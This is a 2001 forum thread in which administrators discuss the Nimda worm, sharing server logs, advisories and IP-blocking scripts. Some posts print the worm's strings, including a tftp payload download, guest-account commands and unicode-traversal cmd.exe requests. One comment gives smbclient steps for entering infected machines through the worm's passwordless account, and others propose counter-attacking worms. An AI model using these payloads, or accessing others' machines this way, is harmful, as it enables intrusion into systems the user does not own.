I guess you didn't actually read my post. I said I chose *NIX over M$'s junk because of simple security flaws such as this (in M$'s crap). My decision was not based out of something as small-minded as "hatred" or "emotion". It was based on what is in the best interest of my company; security and up-time. Sure, I've got a few NT.x boxes as well. (There's a few things some developers need NT.x for) The NT.x boxes don't house anything "mission critical", my *NIX boxes do. Why? Security and availibility.
I also don't see your point on "ease of administration". What, pretty Next buttons I guess you're refering to?

ASP - There's Apache modules for that now.
"simple DB conectivity" - MySQL (and that's only one that will do the job 100%).
"inexpensive"? - How does free sound to you? It sounds GREAT to management...


A poorly configured Linux box is just as dangerous as a poorly configured Windows box.

Sort of, but I still agree. *BUT*, which would you choose if you wanted something that simply "ships" secure? Can you say that for ANYTHING M$ has ever released? No. Not even they can. While you are correct in saying that our needs/wants may be different, I'll be more than happy to rub a little extra elbow-grease on to make for damn sure that my company stays a-float as much as I can and *NOT* have to worry about stupid things like automatic script-firing in e-mails. Or getting a box "rooted" just because I run a web server. Sorry. No soup for you.

Re:what's the solution?

[torqed]

I appreciate your further opinions on this matter, but if you believe that MySQL is an enterprise quality database, then you are uninformed. It is a good platform for some simple data storage and access, but it is a long way from being able to compete with MSSQL (even tho the price is nice).

I'm not referring to the 'Next' button. Again, it looks like you have never administered both Apache servers and IIS servers. It is true that Apache is VERY configurable after you've spent months getting the background and reading man pages and how-tos. However, %99 of the competent IS personel out there could sit down to an IIS server (having never done so before) and add web sites, ftp sites, etc. Does that make IIS better. No. Does that make Apache better. No.

By the way, is ASP+ (ASP.NET) available for Apache? I didn't think so.

Re:what's the solution?

[Flower]

Then obviously you only *just* started to use linux. A lot of the vulnerabilities in linux distros come from the same mentality that you see in IIS. That being:

Turn everything on. And that is exactly what MS does with IIS to reduce support calls. Just run every ISAPI filter. Allow every http verb. Install IIS automagically when you install the server. Even though you haven't had the chance to create a non-system volume.

The fact is you can secure IIS but just like with linux it takes a bit of planning and work. And just for the record, I don't have a say in what platform the company's web servers run on. Advocating^H^H^H^H^H^H^H^H^Hwhining about the company's choice of supported platforms would get me fired. But because I value my job I invest the effort to learn a thing or two so I can administer the servers properly.

That's professionalism.

We need a net BIRD to combat the worm

[Seedy2]

Since we can't hunt down the perps and kill them someone needs to write a flock of birds to eat all these worms. I figure anyone who's still keeping these worms alive is giving the world implicit permission to play in those exploits. So why not write up a listener that attacks the machine the worm comes from, using the same exploit to overwrite the worm, and create another BIRD.
(hmmm Binary Invasive Removal and Destruction?)

Re:We need a net BIRD to combat the worm

[aftermath09]

lol, sounds like a great idea. maybe even replace main.htm with a link to microsoft where u can download the security patch ;-)

Re:We need a net BIRD to combat the worm

[Anonymous Coward]

better... make the patch download then and there.

Re:We need a net BIRD to combat the worm

[Anonymous Coward]

sounds like it would be simple to design one for this. just watch for the 16 bad hits, open a samba client to the infected ip, and upload a fixit file to the startup. maybe even toss in an attack to cause the machine to reboot. then post the script were everyone can get/use it on the linux servers. after all, the only secure winblows is one without a nic, keyboard and mouse.

Exploit the exploited...

[Anonymous Coward]

I got readme.eml and look a quick look at it. It adds a user called guest to various interesting groups.

So...

nmbstatus -A ip

MACHINENAME <00> - B <ACTIVE>

smbclient -L MACHINENAME -I ip -U guest
(no password)

Find a share ...

smbclient //machinename/share -I ip -U guest
(no password again)

Fun for all!

Some interesting strings from README.EXE

[undie]

Here are some interesting strings found in the readme.exe this worm sends down (some stuff snipped):

Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

SYSTEM\CurrentControlSet\Services\lanmanserver\S ha res\Security
share c$=c:\
user guest ""
localgroup Administrators guest /add
localgroup Guests guest /add
user guest /active
open
user guest /add
HideFileExt

/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.. %c 1%1c../..%c1%1c..
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
/winnt/system32/cmd.exe?/c+
net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
Admin.dll
c:\Admin.dll
d:\Admin.dll
e:\Admin.dll
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
/Admin.dll

qusery9bnow
-qusery9bnow
\mmc.exe
\riched20.dll
boot
Shell
explorer.exe load.exe -dontrunold
\system.ini
\load.exe

Re:Some interesting strings from README.EXE

[jsse]

Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

Mainland China is "People Republic of China (PRC)".

Some congressmen call Taiwan "Republic of China".

So, what is R.P.China?

Is R.P. an initial of something else? Or somebody who is not Chinese attempted to put the blame on China but accidentally mispelled the name? :)

Re:Some interesting strings from README.EXE

[PotatoNO]

Couldn't we make an EXTRA.DAT (McAfee emergency DAT add-on) using one or more of those strings.. I've been trying to for the last hour with little luck.. Anybody have info on the format of EXTRA.DAT? At first glance it looks to just be a string of bytes but the last line has four (looks like) words follwed by the name of the virus. My best guess is that the words are offsets, but I cannot be sure. I'm trying to run some tests of an EXTRA.DAT for W32/APost@MM against a knwown copy of W32/APost and am getting nowhere.

Re:Some interesting strings from README.EXE

[jariv]

So, what is R.P.China?

Maybe it's author is from spanish/portugese speaking country like Brazil?

Re:Some interesting strings from README.EXE

[joolios]

Or somebody who is not Chinese attempted to put the blame on China but accidentally mispelled the name?

Maybe it was written by a Chinese with a little more sense, trying to make everyone think that a Chinese person with the wherewithal to author a virus wouldn't mix up the acronym for his country's name.

You can check what R.P. might stand for at www.acronymfinder.com.

Information from CERT

[weezel]

I wasn't able to get to Security Focus to see what they had on this but I was able to get to CERT. They have this on their current activity page.

As of now there's not much more information there than is in the story already.

Other than the Code Red II backdoor it looks like it's mainly trying to exploit the unicode url hole.

GET /default.ida?

[slyph]

Along with all of those windows gets, I am also getting a ton of something like this: 66.31.244.129 - - [18/Sep/2001:10:01:11 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 280 "-" "-" Is this part of the same? It seems to be some sort of overflow of default.ida. I assume that I am ok running apache, because that seems to be the normal course for things, but just making sure.

Re:GET /default.ida?

[xanadu-xtroot.com]

Nope. That's the old Code Red.

P.S.
If you just seeing this now, you really need to read /. abit more often (and all the security messages that have been brighter than the sun for 3 months now...

Windows 2000

[Mercenary]

It doesn't seem to execute under Windows 2000. When the payload attempted to run, it failed and a Dr. Watson error occurred.

_Very_ nasty, until IE 5 is patched!

they've just started up here as well

[Festering Leper]

q quick check of the logs shows i'm currently getting hits from 64.xxx.xxx.xxx addresses. even with the code red stuff .. i find it rather odd that i seem to only get hits from within my isp's class a address range.

Bah.....Stupid Windows

[LinuxHeadMN]

Bah...I'm seeing about 8000 hits/sec on some of my bigger webservers. Thank god I have multiple oc-12's here at work.

40mb access_log file and growing.....

Thank god for Linux.

yup - saw reports this AM

[Anonymous Coward]

It presents itself as innocent filetype according to MIME [will defeat MIME-based screening]:

[-- Attachment #2: readme.exe --]
[-- Type: audio/x-wav, Encoding: base64, Size: 75K --]
Content-Type: audio/x-wav;
name="readme.exe"

Maybe some MUAs may believe the file extension rather than the MIME type and would execute it rather than one's audio player.

The code contains javascript to open itself, targetting HTML-parsing MUAs that have all the extra bells and whistles turned on. That's
most likely the intended vector of attack, and the MIME-typing is to sneak past simple mail screening programs.

Might be a SirCam variant (ie, to get the file names & types to be different for the MIME-fake], but a 'strings' run of the code shows
that it opens up the target machine for remote access:

share c$=c:\
user guest ""
localgroup Administrators guest /add
localgroup Guests guest /add
user guest /active
open
user guest /add

...that's all i got, detailed data from friend with the day off.

Someone who doesn't have the time nor inclination to futz with making an account

count script, i guess...

[ThatComputerGuy]

grep "24." /var/log/apache/error_log | grep -v default.ida | grep -v XXXXXXX | cut -d [ -f 3- | sort | uniq | wc -l

Number of unique attempts (1 of each type of attempt from each IP). Just replace "24." with the first part of your IP address.

357 uniques here, plus or minus a few oldies relating to my page. Around 900 or so total.

Re:count script, i guess...

[Gambit Thirty-Two]

gambit32@endgame:/trustno1/edrive/Program Files/Apache Group/Apache/logs$ grep "
24." * | grep -v default.ida | grep -v XXXXXXX | cut -d [ -f 3- | sort | uniq |
wc -l
1000

1000 hits here... (dont ask about my paths... i run apache on my windows machine, and port forward. its easier that way for me, regardless on how stupid it looks :) )

Let us see Microsoft save the internet once again!

[Dog and Pony]

Well, that was their take on Code Red (and all the other MS viruses), in their press releases, right? "We have saved the internet, and the world from the evil viruses!".

Not a word on who created, not really the problem, but the possibility, as usual. :)

There was even a term, wasn't there? Something like MSTD - MicroSoft Transmittable Disease or something... anybody remember?

Interesting Strings in readme.eml

[Ex Machina]

smtp strings
mime stuff
mapi stuff
winzip
http stuff
richtext dll stuff
hidden shares stuff
webserver sploits
net use stuff
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

if you don't mind a few ipchains rules...

[DirkGently]

...try this. its a pretty quick hack, and you'll need to modify the path to your apache logs in the grep line. but its what I just whipped up. hope its useful. I just ran it and it works for me.

#!/bin/sh

for LUSER in `grep "winnt" /var/log/httpd/error_log | awk '{print $8}' | sed -e s/]//`; do
if [ ! "`ipchains -L -n | grep $LUSER`" ]
then ipchains -A input -s $LUSER -d 0/0 -j DENY
fi
done

Re:if you don't mind a few ipchains rules...

[V for Victory]

for LUSER in `grep "winnt" /var/log/httpd/error_log | awk '{print $8}' | sed -e s/]// | sort | uniq`; do

If you use sort and uniq, you'll drastically reduce the number of IP addresses you're checking. Highly recommend changing it. :-)

Re:if you don't mind a few ipchains rules...

[rschwa]

+1, Useful!

Thanks.

(and thanks also to V for Victory for the refinement)

Re:if you don't mind a few ipchains rules...

[DirkGently]

yeah, I know. nice catch. the other problem is that it runs "ipchains -L -n" A LOT. I mean, the box is a 550 that doesn't do a whole lotta work, so wasting some sub-shells didn't bother me much. I just scratched it together real quick.

this is what I like about /. . What other publication corrects your typos for you after distribute to the public? : )

dirk

Re:if you don't mind a few ipchains rules...

[MadCow42]

I'd rather take a couple of files they're trying to GET, and make a quick CGI script that feeds them garbage data... and keeps feeding it to them.

Although that ties up my bandwidth too, it should eventually overload their memory/storage, shouldn't it? Might keep them out of action for a bit.

q:]

Re:if you don't mind a few ipchains rules...

[Anonymous Coward]

Very nice! Only glitch was the first error_log I pointed it to grep insisted on seeing as binary (thus not presenting the desired output). Is that because of the high character crap the worm puts into the file? Anyhow, set it to another virtual server's log and it works like a charm.

Re:if you don't mind a few ipchains rules...

[Anonymous Coward]

You could cat the results into a special log file then uniq -u that file to get the new items only and add them to your chains list, then uniq the file to create a new file of just the uniq entries. This way if you have your firewall script call this file you can always read the culprit sites to your firewall.

Is it worth arguing Linux to ISPs over this?

[dmorin]

I'm sorely tempted to write my ISP (ATT/Roadrunner) and say "Look, guys, do the math. Every Windows machine you have propagates X connections. Every Linux machine you let run propagates *0*. Shouldn't you consider officially encouraging people to run Linux?" But I expect that if I do that, they'll miss the point entirely and say "You're running Linux? Gasp! You're in violation of the terms of service!" It bugs me, because this seems like such a clear argument. Note that I didn't even say "make" people run it, just encourage. More Linux means less viruses. Seems like ISPs would think that's a good idea.

Re:Is it worth arguing Linux to ISPs over this?

[Dog and Pony]

Well... yeah, to people that are running (professional) web servers.

No to normal users. ISPs should however actively encourage people to Not run IIS. Windows itself isn't nearly as big a problem, and I wouldn't like my ISP to tell me what OS I should run. Some good advice and reasons why I should pick another web server, however... that I would probably appreciate if I didn't already know.

Re:Is it worth arguing Linux to ISPs over this?

[PigleT]

"More Linux means less viruses. Seems like ISPs would think that's a good idea."

You mean `fewer', apart from the fact that you don't mean that at all.

`More linux' would result in just the same amount of viruses and, more to the point, worms, because you've still got the same number of black-hats out there writing the things and the same number of real idiots who think they can admin their way out of a paper bag but are somehow exempt from applying updates. Actual choice of `most frequently encountered OS' has stuff-all to do with it: if you've not been totally asleep all year then you'll remember that January - March were full of Ramen, 1i0n and adore worms for linux.

Think homogeneity.

Re:Is it worth arguing Linux to ISPs over this?

[binford2k]

if you've not been totally asleep all year then you'll remember that January - March were full of Ramen, 1i0n and adore worms for linux.

Redhat you mean.

Re:Is it worth arguing Linux to ISPs over this?

[PigleT]

> Redhat you mean

Well, only sort of. In much the same way that CodeBlue is `IIS + NT + ?98?', you mean...

Point being, we all know RH is the most-deployed distro out there, and if you target the majority, you'll make a pretty big splash, regardless of whether that majority is running GNU/Linux, RH, or Windoze.

Thanks for reiterating that....

Re:Is it worth arguing Linux to ISPs over this?

[Anonymous Coward]

Well, traditionally, more Linux machines have meant more slaves for DDOS attacks. We've all heard the stories of Joe MCSE installing a bare RedHat 6.2 box and being rooted within 5 minutes.

Unix has a deplorable history of being cavilier with security. Microsoft is even more deplorable for ignoring that. ISPs will probably end up blocking all incoming connections.

Re:Is it worth arguing Linux to ISPs over this?

[Anonymous Coward]

The general opinion is that most of the cable modem (etc) CR infected hosts were people who (most likely) warezed Windows 2000 Server. Why? Probably because running "Advanced Server" on your overclocked Celeron sounds more l33t than running the plain old workstation version.

Most of these guys probably had no clue they were running IIS to begin with. Having ISPs tell them not to run it won't help much.

TruSecure notice

[Anonymous Coward]

TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm

Date: September 18, 2001
Time: 1000 EDT

RISK INDICES:

Initial Assessment: RED HOT

Threat: VERY HIGH, (rapidly increasing)

Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0,
5.0, and internal networks.

Cost: High, command execution is possible

Vulnerable Systems: IIS 4.0 and 5.0

SUMMARY:
A new IIS worm is spreading rapidly. Its working name is Nimda:
W32.nimda.a.mm

It started about 9am eastern time today, Tuesday,September 18, 2001,
Mulitple sensors world-wide run by TruSecure corporation are getting
multiple hundred hits per hour. And began at 9:08am am.

The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for
multiple vulnerabilities including:

Almost all are get scripts, and a get msadc (cmd.exe)
get_mem_bin
vti_bin owssvr.dll
Root.exe
CMD.EXE
../ (Unicode)
Getadmin.dll
Default.IDA
/Msoffice/ cltreq.asp

This is not code red or a code red variant.

The worm, like code red attempts to infect its local sub net first,
then spreads beyond the local address space.

It is spreading very rapidly.

TruSecure believes that this worm will infect any IIS 4 and IIS 5
box with well known vulnerabilities. We believe that there are
nearly 1Million such machines currently exposed to the Internet.

Risks Indices:
Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of
Internet Web server hosts: TruSecure process and essential
configurations should generally be protective. The vulnerability
prevalence world-wide is very high

Threat - VERY HIGH and Growing The rate of growth and spread is
exceedingly rapid - significantly faster than any worm to date and
significantly faster than any variant of Code red.

Cost -- Unknown, probably moderate per infected system.

The worm itself is a file called
README.EXE, or ADMIN.DLL
a 56K file which is advertised as an audio xwave mime type file.

Other RISKS:
There is risk of DOS of network segments by traffic volume alone
There is large risk of successful attack to both Internet exposed IIS
boxes and to developer and Intranet boxes inside of corporations.

Judging by the Code Red II experience, we expect many subtle routes
of infection leading to inside corporate infections.

We cannot discount the coincidence of the date and time of release,
exactly one week to (probably to the minute) as the World Trade
Center attack .

REPLICATION:
There are at least three mechanisms of spread:
The worm seems to spread both by a direct IIS across Internet (IP
spread)
It probably also spreads by local shares. (this is not known for
sure at this time)
There is also an email vector where README.EXE is sent via email to
numerous accounts.

Mitigations
TruSecure essential practices should work.
Block all email with EXE attachments
Filter for README.EXE
Make sure IIS boxes are well patched and hardened, or removed from
both the Internet and Intranets.
Make sure any developer computing platforms are not running IIS of
any version (many do so by default if either.
Disconnect mail from the Internet
Advise users not to double click on any unexpected attachments.
Update anti-virus when your vendor has the signature.

CERT advisory

[awilber]

is here:

http://www.cert.org/current/current_activity.html# port80

No no exploit.

[NetJunkie]

It doesn't seem to be a new exploit. Just another package for the existing exploits. So, make sure you're current and you should be OK.

On the side...I haven't gotten any hits in our log files yet.

Re:No no exploit.

[ergo98]

This variant seems different in that it rides along with sadmind, and itself uses EML and potential holes in IE to duplicate itself. It also appears to email itself: I won't confirm the source however I got an email from AT&T Research (I used their voice synthesis thing recently) with the worm attached, and I'm curious if the EML then makes the target system start looking for IIS servers to infect?

Anyways while this hitches a ride with sadmind it does seem to bring its own risks and concerns with it. I am particularly concerned about people saying that IE 5/6 automatically executed the EML: I am going to try that in a VMWare session (I LOVE VMWARE) imminently.

Re:No no exploit.

[NetJunkie]

Post back what you find..I'd be interested to know. Yeah, VMWare is great for making a nice cage for testing these things.

Checking our logs now on our web servers..things are picking up, but nowhere near what others are seeing yet.

New clas A hit ... 64.x.x.x

[bigbennie]

According to logs, the virus attacked my machine from the 64.x.x.x starting at 9:30 am EST (US). This is the megapath dsl/dialup IP addresses. Lots of unprotected home machines. Whee.

Odd. A smiliar attack hit me once around September 4th, but only tried the cmd.exe exploits.

Let's here it for the wet napkin Security!

Re:New clas A hit ... 64.x.x.x

[Everybody]

Odd. A smiliar attack hit me once around September 4th, but only tried the cmd.exe exploits.

<conspiracytheory>
Well... since that is 7 days before wtc, and now is 7 days after wtc, you might have witnessed the first tests. Maybe the FBI would be interested in the logged IPs... </conspiracytheory>

Re:New clas A hit ... 64.x.x.x

[Everybody]

A well, there seems to be a similiar incident on September 4th, as one can see on the internet traffic report (thanks to another ./ reader for the link!).

In the second graph, an impressive spike in response time can be seen on September 4th that matches the one today...

Code red attack lookup script

[Nony]

My friend and I have created a little script that count the number of attack made by code red on my linux box. If you want to check it go to http:norak-info.com/cr/ more info email me at sebastien.premont@norak-info.com

readme.exe string: Concept Virus

[moocow89]

nt

I reall need

[wiredog]

To start putting in my posts. I know keeping a sense of humor is difficult lately, especially for those of us in target zones, but, Christ, do I need to start putting "Imagine a beowulf cluster of these" in every post?

Re:I reall need

[Anonymous Coward]

It may be easier to see the "joke" if there weren't thirty thousand doorknobs around this place shouting the same two-step process as you did. Sadly, they're not being sarcastic.

Re:I reall need

[Hanno]

Exactly. Sorry for being a jerk, but I suspected a jerk. I know quite a few people who actually *are* that way, so I'm a bit touchy on that subject.

Log files

[RKloti]

This is from my log Apache log files... the virus appears to try a lot of exploits, all of which are Windows native. If this become widespread, expect a serious slowdown. (IP is masked for obvious reasons) xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:06 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:06 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:07 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:08 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:08 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:09 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 232 "-" "-" xxx.xxx.xxx.xxx - - [18/Sep/2001:20:01:09 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"

"Annoying" Microsoft Worms

[cyberdonny]

Care to explain how anything that helps convince people not to use Microsoft can be called "annoying" ;-)

More info

[m0i]

FYI:
http://www.sarc.com/avcenter/venc/data/w32.nimda .a @mm.html
I discovered it with the readme.eml attachement. And btw, my IIS4 with the cumulative MS fix _has_ been compromised. Can't tell if it's new or not but it's efficient, for sure. Anyone knows how to be sure to get rid of it?

08:16:48 -0500 was first hit here

[marcus]

access_log is now 1500% larger than normal...

208.189.x.x

[LoudMusic]

I'm getting a few unusual requests from my corner of the `Net. Our webserver is run by Lotus Domino on NT4, so theoretically all this should do is put a little more load on my server (which is about to croke anyway). Hey, maybe it will kill my server and the boss will spring for a replacement! (:

~LoudMusic

24.

[Anonymous Coward]

24.xxx.xxx.xxx affected.. just checked logs..

Info on this from Symantic

[alteridem]

Symantic just released a report on this virus. I will reproduce the text here;

This is the preliminary information known at this time.

There is a new mass-mailing worm that utilizes email to propagate itself. The threat arrives as readme.exe in an email.

In addition, the worm sends out probes to IIS servers attempting to spread by using the Unicode Web Traversal exploit similar to W32.BlueCode.Worm. Compromised servers may display a webpage prompting a visitor to download an Outlook file which contains the worm as an attachment.

Also, the worm will create an open network share allowing access to the system. The worm will also attempt to spread via open network shares.

come on

[Anonymous Coward]

I think you guys do not realize that MS makes the best products. If it were n't there would be no point in chasing down bugs....Now UNIX and MAC are dead (officially as of when Bush went into office) So there is no need to cry and wine about Microsoft does this or it crashes. At least from a top down approach it is the most popular.
I think you guys need to take a few minutes...and get back to the one true operating system...Windows XP....(btw I am being sarcastic, I really think windows is waste of time and developemt)

I've had it

[elefantstn]

We've got three infected workstations out of six here at work now. We were already planning on putting in six Linux workstations, but now we're going to have to go to all Linux (and Mac for the artists). This is ridiculous.

Any one of you damn "Stop bashing Microsoft, it could happen to any OS" bastards who comes on here is going to get a beating. Maybe it could, but it doesn't, and I for one am sick and tired of this crap. Goodbye, MS.

Re:I've had it

[dasunt]

No, correct me if I'm wrong, but doesn't this worm target unpatched windows servers?

So, you are thus expecting that poorly patched linux servers will be better then poorly patched windows servers?

Tried the exploit of the *.eml under Win2k with service pack 2 installed (thus running IE5.50.x) Didn't work. Call me foolish, but if you can't be bothered to do a start->windows update, and grab the latest patches available, I'm guessing that you're too lazy to patch a *nix box.

What this worm exploits is old holes in the most common operating system. There isn't any reason why a *nix worm couldn't me made on the same principles.

Just my $.02

Re:I've had it

[spectecjr]

We've got three infected workstations out of six here at work now. We were already planning on putting in six Linux workstations, but now we're going to have to go to all Linux (and Mac for the artists). This is ridiculous.

Maybe if you were doing your job properly, they would have been patched and thus invulnerable to this attack by now?

Or are you going to bitch and moan when your Linux boxen are rooted too?

Me

[almeida]

I've been hit 689 times today (9:29:35 AM - 12:07:46 PM). On the bright side, I was only hit with Code Red attempts 3 times today. Why do I get the feeling that cables modem providers are going to start shutting off port 80 again?

MORE interesting strings from README.EXE

[srw]

Also:

QUIT
Subject:
From:
DATA
RCPT TO:
MAIL FROM:
HELO

Re:MORE interesting strings from README.EXE

[ergo98]

That one makes on presume that it SMTPs directly rather than going through MAPI. Hence the Outlook patches for MAPI wouldn't help.

Time for a class action lawsuit against Microsoft.

[fmaxwell]

Microsoft has cost ISPs, businesses, and end users an incalculable amount of money and frustration and it is all due to their negligence. They were negligent when they created software and technologies that are so easily exploited. They were negligent in their testing of their products. They were negligent in not sending patch CDs through the mail to registered users. If they can send you upgrade offers via the mail, they can send you patch CDs to repair their defective products.

And before anyone starts quoting the Microsoft license, ISPs that run Linux/*BSD/Solaris are being hurt by the traffic, too. They have no license with Microsoft and they've been injured by Microsoft's negligence.

I'd like to see AOL, Earthlink, or some other big ISP take Microsoft's corporate butt to court, demanding compensatory and punitive damages for Microsoft's negligence.

what does this mean exactly?

[Alcimedes]

this is the header (before the info) of the readme.eml file.

what does it mean exactly?

MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="readme.exe" Content-Transfer-Encoding: base64 Content-ID:

Re:This could explain why I can't reach my machine

[phoebus1553]

So could this manifest itself as a connection that suddenly stops after a couple of seconds? i.e a SSH that will crap out if it tries to display a screen full o' stuff (pine, vi, lynx) Damn my cable, never had these problems on DSL :(

58000 Hits - Tuesday Sep18th 12:16 EST

[GiMP]

This thing is spreading fast.. 58000 hits on a single machine in such a short period of time, that is how many it got during the first DAY of code red.

Gotta toss a green-w32nimda out there like the code-green worm :)

Full attempt capture

[Darius__]

209.xx.xxx.xxx - - [18/Sep/2001:12:13:34 -0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 274
209.xx.xxx.xxx - - [18/Sep/2001:12:13:34 -0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 272
209.xx.xxx.xxx - - [18/Sep/2001:12:13:34 -0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 282
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 282
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 313
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 313
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 329
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
209.xx.xxx.xxx - - [18/Sep/2001:12:13:35 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 295
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 279
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 296
209.xx.xxx.xxx - - [18/Sep/2001:12:13:36 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296

all occurs in a second or two.

Concept Virus(CV) V.5 ?

[Anonymous Coward]

Found in readme.exe:

Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

ordinal numbers: Taco's an ass.

[9sPhere]

I see Taco finally figured out the meaning of n. n. in math, an indefinite whole number. Nth. greatist unspecified ordinal number By the way, just to piss you off, I'd like to inform you this is still the Nth Post.

Strange Emails

[JCMay]

I've received a couple of wierd emails this morning. They've come from different senders, but they have two things in common: long, meaningless subjects and no body text. Here's an example:

From: Save Address | Headers
To:
Date: Tue, 18 Sep 2001 12:14:49 -0400
